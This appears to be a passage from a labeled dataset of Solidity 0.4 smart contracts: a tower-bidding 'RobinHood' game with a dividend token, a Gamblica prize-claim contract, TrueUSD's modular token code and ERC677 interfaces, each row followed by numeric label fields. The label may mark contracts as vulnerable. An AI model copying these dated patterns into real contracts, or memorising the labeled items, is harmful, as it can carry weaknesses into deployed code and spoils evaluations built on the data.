uint16 creatorFee;
uint256 amountToHalfTime;
uint16 minPriceAfterWin;
address creator;
address owner;
string quote;
}
mapping(uint256 => Tower) public Towers;
uint256 public next_tower_index=0;
modifier onlyOpen(){
if (open){
_;
}
else{
revert();
}
}
modifier onlyOpenOrOwner(){
if (open || msg.sender == owner){
_;
}
else{
revert();
}
}
modifier onlyOwner(){
if (msg.sender == owner){
_;
}
else{
revert();
}
}
function RobinHood() public{
owner = msg.sender;
AddTower(600, 9000, 3000, 5000000000000000000, 2000000000000000, 1000, 0);
AddTower(600, 5000,150 , 2500000000000000000, 4000000000000000, 0, 0);
AddTower(3600, 5000, 1000, (1000000000000000000), 5000000000000000, 5000, 0);
AddTower(86400, 7500, 2000, (2000000000000000000), 10000000000000000, 2500, 0);
AddTower(604800, 7500, 2500, (2500000000000000000), 50000000000000000, 0, 0);
}
function OpenGame() public onlyOwner{
open = true;
}
function ChangeFee(uint8 _fee) public onlyOwner{
require(_fee <= 5);
devFee = _fee;
}
function ChangeAmountPrice(uint256 _newPrice) public onlyOwner{
amountToCreate = _newPrice;
}
function AddTower(uint32 _timer, uint16 _payout, uint16 _priceIncrease, uint256 _amountToHalfTime, uint256 _minPrice, uint16 _minPriceAfterWin, uint16 _creatorFee) public payable onlyOpenOrOwner returns (uint256) {
require (_timer >= 300);
require (_timer <= 31622400);
require (_payout >= 0 && _payout <= 10000);
require (_priceIncrease >= 0 && _priceIncrease <= 10000);
require (_minPriceAfterWin >= 0 && _minPriceAfterWin <= 10000);
require(_amountToHalfTime == 0 || _amountToHalfTime >= 1000000000000);
require(_creatorFee >= 0 && _creatorFee <= 2500);
require(_minPrice >= (1 szabo) && _minPrice <= (1 ether));
if (msg.sender == owner){
_creatorFee = 0;
if (msg.value > 0){
owner.transfer(msg.value);
}
}
else{
if (msg.value >= amountToCreate){
uint256 toDiv = (mul(amountToCreate, tokenDividend))/100;
uint256 left = sub(amountToCreate, toDiv);
owner.transfer(left);
addDividend(toDiv);
processBuyAmount(amountToCreate);
}
else{
revert();
}
uint256 diff = sub(msg.value, amountToCreate);
if (diff >= 0){
msg.sender.transfer(diff);
}
}
var NewTower = Tower(_timer, 0, _payout, _priceIncrease, _minPrice, 0, _minPrice, _creatorFee, _amountToHalfTime, _minPriceAfterWin, msg.sender, msg.sender, "");
Towers[next_tower_index] = NewTower;
emit TowerCreated(next_tower_index);
next_tower_index = add(next_tower_index, 1);
return (next_tower_index - 1);
}
function getTimer(uint256 _id) public onlyOpen returns (uint256) {
require(_id < next_tower_index);
var UsedTower = Towers[_id];
if (UsedTower.amountToHalfTime == 0){
return UsedTower.timer;
}
uint256 var2 = UsedTower.amountToHalfTime;
uint256 var3 = add(UsedTower.amount / 1000000000000, UsedTower.amountToHalfTime / 1000000000000);
if (var2 == 0 && var3 == 0){
return UsedTower.timer;
}
uint256 target = (mul(UsedTower.timer, var2/var3 )/1000000000000);
if (target < 300){
return 300;
}
return target;
}
function Payout_intern(uint256 _id) internal {
var UsedTower = Towers[_id];
uint256 Paid = mul(UsedTower.amount, UsedTower.payout) / 10000;
UsedTower.amount = sub(UsedTower.amount, Paid);
UsedTower.owner.transfer(Paid);
uint256 newPrice = (UsedTower.price * UsedTower.minPriceAfterWin)/10000;
if (newPrice < UsedTower.minPrice){
newPrice = UsedTower.minPrice;
}
UsedTower.price = newPrice;
if (UsedTower.amount > UsedTower.minPrice){
UsedTower.timestamp = block.timestamp;
}
else{
UsedTower.timestamp = 0;
}
emit TowerWon(_id);
}
function TakePrize(uint256 _id) public onlyOpen{
require(_id < next_tower_index);
var UsedTower = Towers[_id];
require(UsedTower.timestamp > 0);
var Timing = getTimer(_id);
if (block.timestamp > (add(UsedTower.timestamp, Timing))){
Payout_intern(_id);
}
else{
revert();
}
}
function ShootRobinHood(uint256 _id, string _quote) public payable onlyOpen{
require(_id < next_tower_index);
var UsedTower = Towers[_id];
var Timing = getTimer(_id);
if (UsedTower.timestamp != 0 && block.timestamp > (add(UsedTower.timestamp, Timing))){
Payout_intern(_id);
if (msg.value > 0){
msg.sender.transfer(msg.value);
}
return;
}
require(msg.value >= UsedTower.price);
uint256 devFee_used = (mul( UsedTower.price, 5))/100;
uint256 creatorFee = (mul(UsedTower.creatorFee, UsedTower.price)) / 10000;
uint256 divFee = (mul(UsedTower.price, tokenDividend)) / 100;
addDividend(divFee);
processBuyAmount(UsedTower.price);
uint256 ToPay = sub(sub(UsedTower.price, devFee_used), creatorFee);
uint256 diff = sub(msg.value, UsedTower.price);
if (creatorFee != 0){
UsedTower.creator.transfer(creatorFee);
}
if (diff > 0){
msg.sender.transfer(diff);
}
owner.transfer(devFee_used);
UsedTower.timestamp = block.timestamp;
UsedTower.owner = msg.sender;
UsedTower.quote = _quote;
UsedTower.amount = add(UsedTower.amount, sub(ToPay, divFee));
UsedTower.price = (UsedTower.price * (10000 + UsedTower.priceIncrease)) / 10000;
emit TowerBought(_id);
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
uint256 public numTokens;
uint256 public ethDividendAmount;
uint256 constant public tokenStartPrice = 1000000000000;
uint256 constant public tokenIncrease = 100000000000;
uint256 public tokenPrice = tokenStartPrice;
uint8 constant public tokenDividend = 5;
uint256 constant public tokenScaleFactor = 1000;
mapping(address => uint256) public tokensPerAddress;
function addDividend(uint256 amt) internal {
ethDividendAmount = ethDividendAmount + amt;
}
function getNumTokens(uint256 amt) internal returns (uint256){
uint256 a = tokenIncrease;
uint256 b = 2*tokenPrice - tokenIncrease;
uint256 D = b*b + 8*a*amt;
uint256 sqrtD = tokenScaleFactor*sqrt(D);
return (sqrtD - (b * tokenScaleFactor)) / (2*a);
}
function processBuyAmount(uint256 amt) internal {
uint256 tokens = getNumTokens(amt );
tokensPerAddress[msg.sender] = add(tokensPerAddress[msg.sender], tokens);
numTokens = add(numTokens, tokens);
tokenPrice = add(tokenPrice , ((mul(tokenIncrease, tokens))/tokenScaleFactor));
}
function sellTokens() public {
uint256 tokens = tokensPerAddress[msg.sender];
if (tokens > 0 && numTokens >= tokens){
uint256 usetk = numTokens;
uint256 amt = 0;
if (numTokens > 0){
amt = (mul(tokens, ethDividendAmount))/numTokens ;
}
if (numTokens < tokens){
usetk = tokens;
}
uint256 nPrice = (sub(tokenPrice, ((mul(tokenIncrease, tokens))/ (2*tokenScaleFactor)))) ;
if (nPrice < tokenStartPrice){
nPrice = tokenStartPrice;
}
tokenPrice = nPrice;
tokensPerAddress[msg.sender] = 0;
if (tokens <= numTokens){
numTokens = numTokens - tokens;
}
else{
numTokens = 0;
}
if (amt <= ethDividendAmount){
ethDividendAmount = ethDividendAmount - amt;
}
else{
ethDividendAmount = 0;
}
if (amt > 0){
msg.sender.transfer(amt);
}
}
}
function sqrt(uint x) internal returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
} | 1 | 4,406 |
pragma solidity ^0.4.25;
contract GMBCToken {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
}
contract GamblicaEarlyAccess {
enum State { CREATED, DEPOSIT, CLAIM }
uint constant PRIZE_FUND_GMBC = 100000000 * (10 ** 18);
event DepositRegistered(address _player, uint _amount);
GMBCToken public gmbcToken;
address public gamblica;
State public state;
uint public gmbcTotal;
mapping (address => uint) public deposit;
modifier onlyGamblica() {
require(msg.sender == gamblica, "Method can be called only by gamblica");
_;
}
constructor(address _gamblica, address _gmbcTokenAddress) public {
state = State.CREATED;
gamblica = _gamblica;
gmbcToken = GMBCToken(_gmbcTokenAddress);
}
function () external payable {
require(msg.value == 0, "This contract does not accept ether");
claim();
}
function start() public onlyGamblica {
require(gmbcToken.balanceOf(address(this)) >= PRIZE_FUND_GMBC, "Contract can only be activated with a prize fund");
require(state == State.CREATED, "Invalid contract state");
gmbcTotal = PRIZE_FUND_GMBC;
state = State.DEPOSIT;
}
function registerDeposit(address player, uint amount) public onlyGamblica {
require(state == State.DEPOSIT, "Invalid contract state");
require(gmbcTotal + amount <= gmbcToken.balanceOf(address(this)), "Cant register that deposit");
gmbcTotal += amount;
deposit[player] += amount;
emit DepositRegistered(player, amount);
}
function addWinnigs(address[] memory winners, uint[] memory amounts) public onlyGamblica {
require(winners.length == amounts.length, "Invalid arguments");
require(state == State.DEPOSIT, "Invalid contract state");
uint length = winners.length;
for (uint i = 0; i < length; i++) {
deposit[winners[i]] += amounts[i];
}
}
function end() public onlyGamblica {
require(state == State.DEPOSIT, "Invalid contract state");
state = State.CLAIM;
}
function claim() public {
require(state == State.CLAIM, "Contract should be deactivated first");
uint amount = deposit[msg.sender];
deposit[msg.sender] = 0;
gmbcToken.transfer(msg.sender, amount);
}
function die() public onlyGamblica {
uint amount = gmbcToken.balanceOf(address(this));
gmbcToken.transfer(msg.sender, amount);
selfdestruct(msg.sender);
}
} | 1 | 4,214 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Registry {
struct AttributeData {
uint256 value;
bytes32 notes;
address adminAddr;
uint256 timestamp;
}
address public owner;
address public pendingOwner;
bool public initialized;
mapping(address => mapping(bytes32 => AttributeData)) public attributes;
bytes32 public constant WRITE_PERMISSION = keccak256("canWriteTo-");
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
event SetAttribute(address indexed who, bytes32 attribute, uint256 value, bytes32 notes, address indexed adminAddr);
event SetManager(address indexed oldManager, address indexed newManager);
function initialize() public {
require(!initialized, "already initialized");
owner = msg.sender;
initialized = true;
}
function writeAttributeFor(bytes32 _attribute) public pure returns (bytes32) {
return keccak256(WRITE_PERMISSION ^ _attribute);
}
function confirmWrite(bytes32 _attribute, address _admin) public view returns (bool) {
return (_admin == owner || hasAttribute(_admin, keccak256(WRITE_PERMISSION ^ _attribute)));
}
function setAttribute(address _who, bytes32 _attribute, uint256 _value, bytes32 _notes) public {
require(confirmWrite(_attribute, msg.sender));
attributes[_who][_attribute] = AttributeData(_value, _notes, msg.sender, block.timestamp);
emit SetAttribute(_who, _attribute, _value, _notes, msg.sender);
}
function setAttributeValue(address _who, bytes32 _attribute, uint256 _value) public {
require(confirmWrite(_attribute, msg.sender));
attributes[_who][_attribute] = AttributeData(_value, "", msg.sender, block.timestamp);
emit SetAttribute(_who, _attribute, _value, "", msg.sender);
}
function hasAttribute(address _who, bytes32 _attribute) public view returns (bool) {
return attributes[_who][_attribute].value != 0;
}
function hasBothAttributes(address _who, bytes32 _attribute1, bytes32 _attribute2) public view returns (bool) {
return attributes[_who][_attribute1].value != 0 && attributes[_who][_attribute2].value != 0;
}
function hasEitherAttribute(address _who, bytes32 _attribute1, bytes32 _attribute2) public view returns (bool) {
return attributes[_who][_attribute1].value != 0 || attributes[_who][_attribute2].value != 0;
}
function hasAttribute1ButNotAttribute2(address _who, bytes32 _attribute1, bytes32 _attribute2) public view returns (bool) {
return attributes[_who][_attribute1].value != 0 && attributes[_who][_attribute2].value == 0;
}
function bothHaveAttribute(address _who1, address _who2, bytes32 _attribute) public view returns (bool) {
return attributes[_who1][_attribute].value != 0 && attributes[_who2][_attribute].value != 0;
}
function eitherHaveAttribute(address _who1, address _who2, bytes32 _attribute) public view returns (bool) {
return attributes[_who1][_attribute].value != 0 || attributes[_who2][_attribute].value != 0;
}
function haveAttributes(address _who1, bytes32 _attribute1, address _who2, bytes32 _attribute2) public view returns (bool) {
return attributes[_who1][_attribute1].value != 0 && attributes[_who2][_attribute2].value != 0;
}
function haveEitherAttribute(address _who1, bytes32 _attribute1, address _who2, bytes32 _attribute2) public view returns (bool) {
return attributes[_who1][_attribute1].value != 0 || attributes[_who2][_attribute2].value != 0;
}
function getAttribute(address _who, bytes32 _attribute) public view returns (uint256, bytes32, address, uint256) {
AttributeData memory data = attributes[_who][_attribute];
return (data.value, data.notes, data.adminAddr, data.timestamp);
}
function getAttributeValue(address _who, bytes32 _attribute) public view returns (uint256) {
return attributes[_who][_attribute].value;
}
function getAttributeAdminAddr(address _who, bytes32 _attribute) public view returns (address) {
return attributes[_who][_attribute].adminAddr;
}
function getAttributeTimestamp(address _who, bytes32 _attribute) public view returns (uint256) {
return attributes[_who][_attribute].timestamp;
}
function reclaimEther(address _to) external onlyOwner {
_to.transfer(address(this).balance);
}
function reclaimToken(ERC20 token, address _to) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.transfer(_to, balance);
}
constructor() public {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner() {
require(msg.sender == owner, "only Owner");
_;
}
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BalanceSheet is Claimable {
using SafeMath for uint256;
mapping (address => uint256) public balanceOf;
function addBalance(address _addr, uint256 _value) public onlyOwner {
balanceOf[_addr] = balanceOf[_addr].add(_value);
}
function subBalance(address _addr, uint256 _value) public onlyOwner {
balanceOf[_addr] = balanceOf[_addr].sub(_value);
}
function setBalance(address _addr, uint256 _value) public onlyOwner {
balanceOf[_addr] = _value;
}
}
contract AllowanceSheet is Claimable {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) public allowanceOf;
function addAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner {
allowanceOf[_tokenHolder][_spender] = allowanceOf[_tokenHolder][_spender].add(_value);
}
function subAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner {
allowanceOf[_tokenHolder][_spender] = allowanceOf[_tokenHolder][_spender].sub(_value);
}
function setAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner {
allowanceOf[_tokenHolder][_spender] = _value;
}
}
contract GlobalPause is Claimable {
bool public allTokensPaused = false;
string public pauseNotice;
function pauseAllTokens(bool _status, string _notice) public onlyOwner {
allTokensPaused = _status;
pauseNotice = _notice;
}
function requireNotPaused() public view {
require(!allTokensPaused, pauseNotice);
}
}
contract ProxyStorage {
address public owner;
address public pendingOwner;
bool public initialized;
BalanceSheet public balances;
AllowanceSheet public allowances;
uint256 totalSupply_;
bool public paused = false;
GlobalPause public globalPause;
uint256 public burnMin = 0;
uint256 public burnMax = 0;
Registry public registry;
string public name = "TrueUSD";
string public symbol = "TUSD";
uint[] public gasRefundPool;
uint256 public redemptionAddressCount;
}
contract HasOwner is ProxyStorage {
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner() {
require(msg.sender == owner, "only Owner");
_;
}
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract ModularBasicToken is HasOwner {
using SafeMath for uint256;
event BalanceSheetSet(address indexed sheet);
event Transfer(address indexed from, address indexed to, uint256 value);
function setBalanceSheet(address _sheet) public onlyOwner returns (bool) {
balances = BalanceSheet(_sheet);
balances.claimOwnership();
emit BalanceSheetSet(_sheet);
return true;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
_transferAllArgs(msg.sender, _to, _value);
return true;
}
function _transferAllArgs(address _from, address _to, uint256 _value) internal {
balances.subBalance(_from, _value);
balances.addBalance(_to, _value);
emit Transfer(_from, _to, _value);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances.balanceOf(_owner);
}
}
contract ModularStandardToken is ModularBasicToken {
event AllowanceSheetSet(address indexed sheet);
event Approval(address indexed owner, address indexed spender, uint256 value);
function setAllowanceSheet(address _sheet) public onlyOwner returns(bool) {
allowances = AllowanceSheet(_sheet);
allowances.claimOwnership();
emit AllowanceSheetSet(_sheet);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
_transferFromAllArgs(_from, _to, _value, msg.sender);
return true;
}
function _transferFromAllArgs(address _from, address _to, uint256 _value, address _spender) internal {
require(_value <= allowances.allowanceOf(_from, _spender),"not enough allowance to transfer");
_transferAllArgs(_from, _to, _value);
allowances.subAllowance(_from, _spender, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
_approveAllArgs(_spender, _value, msg.sender);
return true;
}
function _approveAllArgs(address _spender, uint256 _value, address _tokenHolder) internal {
allowances.setAllowance(_tokenHolder, _spender, _value);
emit Approval(_tokenHolder, _spender, _value);
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowances.allowanceOf(_owner, _spender);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
_increaseApprovalAllArgs(_spender, _addedValue, msg.sender);
return true;
}
function _increaseApprovalAllArgs(address _spender, uint256 _addedValue, address _tokenHolder) internal {
allowances.addAllowance(_tokenHolder, _spender, _addedValue);
emit Approval(_tokenHolder, _spender, allowances.allowanceOf(_tokenHolder, _spender));
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
_decreaseApprovalAllArgs(_spender, _subtractedValue, msg.sender);
return true;
}
function _decreaseApprovalAllArgs(address _spender, uint256 _subtractedValue, address _tokenHolder) internal {
uint256 oldValue = allowances.allowanceOf(_tokenHolder, _spender);
if (_subtractedValue > oldValue) {
allowances.setAllowance(_tokenHolder, _spender, 0);
} else {
allowances.subAllowance(_tokenHolder, _spender, _subtractedValue);
}
emit Approval(_tokenHolder,_spender, allowances.allowanceOf(_tokenHolder, _spender));
}
}
contract ModularBurnableToken is ModularStandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burnAllArgs(msg.sender, _value);
}
function _burnAllArgs(address _burner, uint256 _value) internal {
require(_value <= balances.balanceOf(_burner), "not enough balance to burn");
balances.subBalance(_burner, _value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_burner, _value);
emit Transfer(_burner, address(0), _value);
}
}
contract ModularMintableToken is ModularBurnableToken {
event Mint(address indexed to, uint256 value);
function mint(address _to, uint256 _value) public onlyOwner {
require(_to != address(0), "to address cannot be zero");
totalSupply_ = totalSupply_.add(_value);
balances.addBalance(_to, _value);
emit Mint(_to, _value);
emit Transfer(address(0), _to, _value);
}
}
contract ModularPausableToken is ModularMintableToken {
event Pause();
event Unpause();
event GlobalPauseSet(address indexed newGlobalPause);
modifier whenNotPaused() {
require(!paused, "Token Paused");
_;
}
modifier whenPaused() {
require(paused, "Token Not Paused");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
modifier onSupportedChain() {
globalPause.requireNotPaused();
_;
}
function setGlobalPause(address _newGlobalPause) external onlyOwner {
globalPause = GlobalPause(_newGlobalPause);
emit GlobalPauseSet(_newGlobalPause);
}
function _transferAllArgs(address _from, address _to, uint256 _value) internal whenNotPaused onSupportedChain {
super._transferAllArgs(_from, _to, _value);
}
function _transferFromAllArgs(address _from, address _to, uint256 _value, address _spender) internal whenNotPaused onSupportedChain {
super._transferFromAllArgs(_from, _to, _value, _spender);
}
function _approveAllArgs(address _spender, uint256 _value, address _tokenHolder) internal whenNotPaused onSupportedChain {
super._approveAllArgs(_spender, _value, _tokenHolder);
}
function _increaseApprovalAllArgs(address _spender, uint256 _addedValue, address _tokenHolder) internal whenNotPaused onSupportedChain {
super._increaseApprovalAllArgs(_spender, _addedValue, _tokenHolder);
}
function _decreaseApprovalAllArgs(address _spender, uint256 _subtractedValue, address _tokenHolder) internal whenNotPaused onSupportedChain {
super._decreaseApprovalAllArgs(_spender, _subtractedValue, _tokenHolder);
}
function _burnAllArgs(address _burner, uint256 _value) internal whenNotPaused onSupportedChain {
super._burnAllArgs(_burner, _value);
}
}
contract BurnableTokenWithBounds is ModularPausableToken {
event SetBurnBounds(uint256 newMin, uint256 newMax);
function _burnAllArgs(address _burner, uint256 _value) internal {
require(_value >= burnMin, "below min burn bound");
require(_value <= burnMax, "exceeds max burn bound");
super._burnAllArgs(_burner, _value);
}
function setBurnBounds(uint256 _min, uint256 _max) public onlyOwner {
require(_min <= _max, "min > max");
burnMin = _min;
burnMax = _max;
emit SetBurnBounds(_min, _max);
}
}
contract CompliantToken is ModularPausableToken {
bytes32 public constant HAS_PASSED_KYC_AML = "hasPassedKYC/AML";
bytes32 public constant CAN_BURN = "canBurn";
bytes32 public constant IS_BLACKLISTED = "isBlacklisted";
event WipeBlacklistedAccount(address indexed account, uint256 balance);
event SetRegistry(address indexed registry);
function setRegistry(Registry _registry) public onlyOwner {
registry = _registry;
emit SetRegistry(registry);
}
function mint(address _to, uint256 _value) public onlyOwner {
require(registry.hasAttribute1ButNotAttribute2(_to, HAS_PASSED_KYC_AML, IS_BLACKLISTED), "_to cannot mint");
super.mint(_to, _value);
}
function _burnAllArgs(address _burner, uint256 _value) internal {
require(registry.hasAttribute1ButNotAttribute2(_burner, CAN_BURN, IS_BLACKLISTED), "_burner cannot burn");
super._burnAllArgs(_burner, _value);
}
function _transferFromAllArgs(address _from, address _to, uint256 _value, address _spender) internal {
require(!registry.hasAttribute(_spender, IS_BLACKLISTED), "_spender is blacklisted");
super._transferFromAllArgs(_from, _to, _value, _spender);
}
function _transferAllArgs(address _from, address _to, uint256 _value) internal {
require(!registry.eitherHaveAttribute(_from, _to, IS_BLACKLISTED), "blacklisted");
super._transferAllArgs(_from, _to, _value);
}
function wipeBlacklistedAccount(address _account) public onlyOwner {
require(registry.hasAttribute(_account, IS_BLACKLISTED), "_account is not blacklisted");
uint256 oldValue = balanceOf(_account);
balances.setBalance(_account, 0);
totalSupply_ = totalSupply_.sub(oldValue);
emit WipeBlacklistedAccount(_account, oldValue);
emit Transfer(_account, address(0), oldValue);
}
}
contract RedeemableToken is ModularPausableToken {
event RedemptionAddress(address indexed addr);
function _transferAllArgs(address _from, address _to, uint256 _value) internal {
if (_to == address(0)) {
revert("_to address is 0x0");
} else if (uint(_to) <= redemptionAddressCount) {
super._transferAllArgs(_from, _to, _value);
_burnAllArgs(_to, _value);
} else {
super._transferAllArgs(_from, _to, _value);
}
}
function incrementRedemptionAddressCount() external onlyOwner {
emit RedemptionAddress(address(redemptionAddressCount));
redemptionAddressCount += 1;
}
}
contract DepositToken is ModularPausableToken {
bytes32 public constant IS_DEPOSIT_ADDRESS = "isDepositAddress";
function _transferAllArgs(address _from, address _to, uint256 _value) internal {
address shiftedAddress = address(uint(_to) >> 20);
uint depositAddressValue = registry.getAttributeValue(shiftedAddress, IS_DEPOSIT_ADDRESS);
if (depositAddressValue != 0) {
super._transferAllArgs(_from, _to, _value);
super._transferAllArgs(_to, address(depositAddressValue), _value);
} else {
super._transferAllArgs(_from, _to, _value);
}
}
function mint(address _to, uint256 _value) public onlyOwner {
address shiftedAddress = address(uint(_to) >> 20);
uint depositAddressValue = registry.getAttributeValue(shiftedAddress, IS_DEPOSIT_ADDRESS);
if (depositAddressValue != 0) {
super.mint(_to, _value);
super._transferAllArgs(_to, address(depositAddressValue), _value);
} else {
super.mint(_to, _value);
}
}
}
contract GasRefundToken is ModularPausableToken {
function sponsorGas() external {
uint256 len = gasRefundPool.length;
gasRefundPool.length = len + 9;
gasRefundPool[len] = 1;
gasRefundPool[len + 1] = 1;
gasRefundPool[len + 2] = 1;
gasRefundPool[len + 3] = 1;
gasRefundPool[len + 4] = 1;
gasRefundPool[len + 5] = 1;
gasRefundPool[len + 6] = 1;
gasRefundPool[len + 7] = 1;
gasRefundPool[len + 8] = 1;
}
modifier gasRefund {
uint256 len = gasRefundPool.length;
if (len != 0) {
gasRefundPool[--len] = 0;
gasRefundPool[--len] = 0;
gasRefundPool[--len] = 0;
gasRefundPool.length = len;
}
_;
}
function remainingGasRefundPool() public view returns(uint) {
return gasRefundPool.length;
}
function _transferAllArgs(address _from, address _to, uint256 _value) internal gasRefund {
super._transferAllArgs(_from, _to, _value);
}
function mint(address _to, uint256 _value) public onlyOwner gasRefund {
super.mint(_to, _value);
}
}
contract TrueCoinReceiver {
function tokenFallback( address from, uint256 value ) external;
}
contract TokenWithHook is ModularPausableToken {
bytes32 public constant IS_REGISTERED_CONTRACT = "isRegisteredContract";
function _transferAllArgs(address _from, address _to, uint256 _value) internal {
uint length;
assembly { length := extcodesize(_to) }
super._transferAllArgs(_from, _to, _value);
if (length > 0) {
if(registry.hasAttribute(_to, IS_REGISTERED_CONTRACT)) {
TrueCoinReceiver(_to).tokenFallback(_from, _value);
}
}
}
}
contract DelegateERC20 is ModularStandardToken {
address public constant DELEGATE_FROM = 0x8dd5fbCe2F6a956C3022bA3663759011Dd51e73E;
modifier onlyDelegateFrom() {
require(msg.sender == DELEGATE_FROM);
_;
}
function delegateTotalSupply() public view returns (uint256) {
return totalSupply();
}
function delegateBalanceOf(address who) public view returns (uint256) {
return balanceOf(who);
}
function delegateTransfer(address to, uint256 value, address origSender) public onlyDelegateFrom returns (bool) {
_transferAllArgs(origSender, to, value);
return true;
}
function delegateAllowance(address owner, address spender) public view returns (uint256) {
return allowance(owner, spender);
}
function delegateTransferFrom(address from, address to, uint256 value, address origSender) public onlyDelegateFrom returns (bool) {
_transferFromAllArgs(from, to, value, origSender);
return true;
}
function delegateApprove(address spender, uint256 value, address origSender) public onlyDelegateFrom returns (bool) {
_approveAllArgs(spender, value, origSender);
return true;
}
function delegateIncreaseApproval(address spender, uint addedValue, address origSender) public onlyDelegateFrom returns (bool) {
_increaseApprovalAllArgs(spender, addedValue, origSender);
return true;
}
function delegateDecreaseApproval(address spender, uint subtractedValue, address origSender) public onlyDelegateFrom returns (bool) {
_decreaseApprovalAllArgs(spender, subtractedValue, origSender);
return true;
}
}
contract TrueUSD is
ModularPausableToken,
BurnableTokenWithBounds,
CompliantToken,
RedeemableToken,
TokenWithHook,
DelegateERC20,
DepositToken,
GasRefundToken {
using SafeMath for *;
uint8 public constant DECIMALS = 18;
uint8 public constant ROUNDING = 2;
event ChangeTokenName(string newName, string newSymbol);
function initialize() public {
require(!initialized, "already initialized");
initialized = true;
owner = msg.sender;
burnMin = 10000 * 10**uint256(DECIMALS);
burnMax = 20000000 * 10**uint256(DECIMALS);
name = "TrueUSD";
symbol = "TUSD";
}
function setTotalSupply(uint _totalSupply) public onlyOwner {
require(totalSupply_ == 0);
totalSupply_ = _totalSupply;
}
function changeTokenName(string _name, string _symbol) external onlyOwner {
name = _name;
symbol = _symbol;
emit ChangeTokenName(_name, _symbol);
}
function reclaimEther(address _to) external onlyOwner {
_to.transfer(address(this).balance);
}
function reclaimToken(ERC20 token, address _to) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.transfer(_to, balance);
}
function reclaimContract(Ownable _ownable) external onlyOwner {
_ownable.transferOwnership(owner);
}
function _burnAllArgs(address _burner, uint256 _value) internal {
uint burnAmount = _value.div(10 ** uint256(DECIMALS - ROUNDING)).mul(10 ** uint256(DECIMALS - ROUNDING));
super._burnAllArgs(_burner, burnAmount);
}
} | 1 | 3,491 |
pragma solidity 0.4.24;
contract ERC677Receiver {
function onTokenTransfer(address _from, uint _value, bytes _data) external returns(bool);
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC677 is ERC20 {
event Transfer(address indexed from, address indexed to, uint value, bytes data);
function transferAndCall(address, uint, bytes) external returns (bool);
}
contract IBurnableMintableERC677Token is ERC677 {
function mint(address, uint256) public returns (bool);
function burn(uint256 _value) public;
function claimTokens(address _token, address _to) public;
}
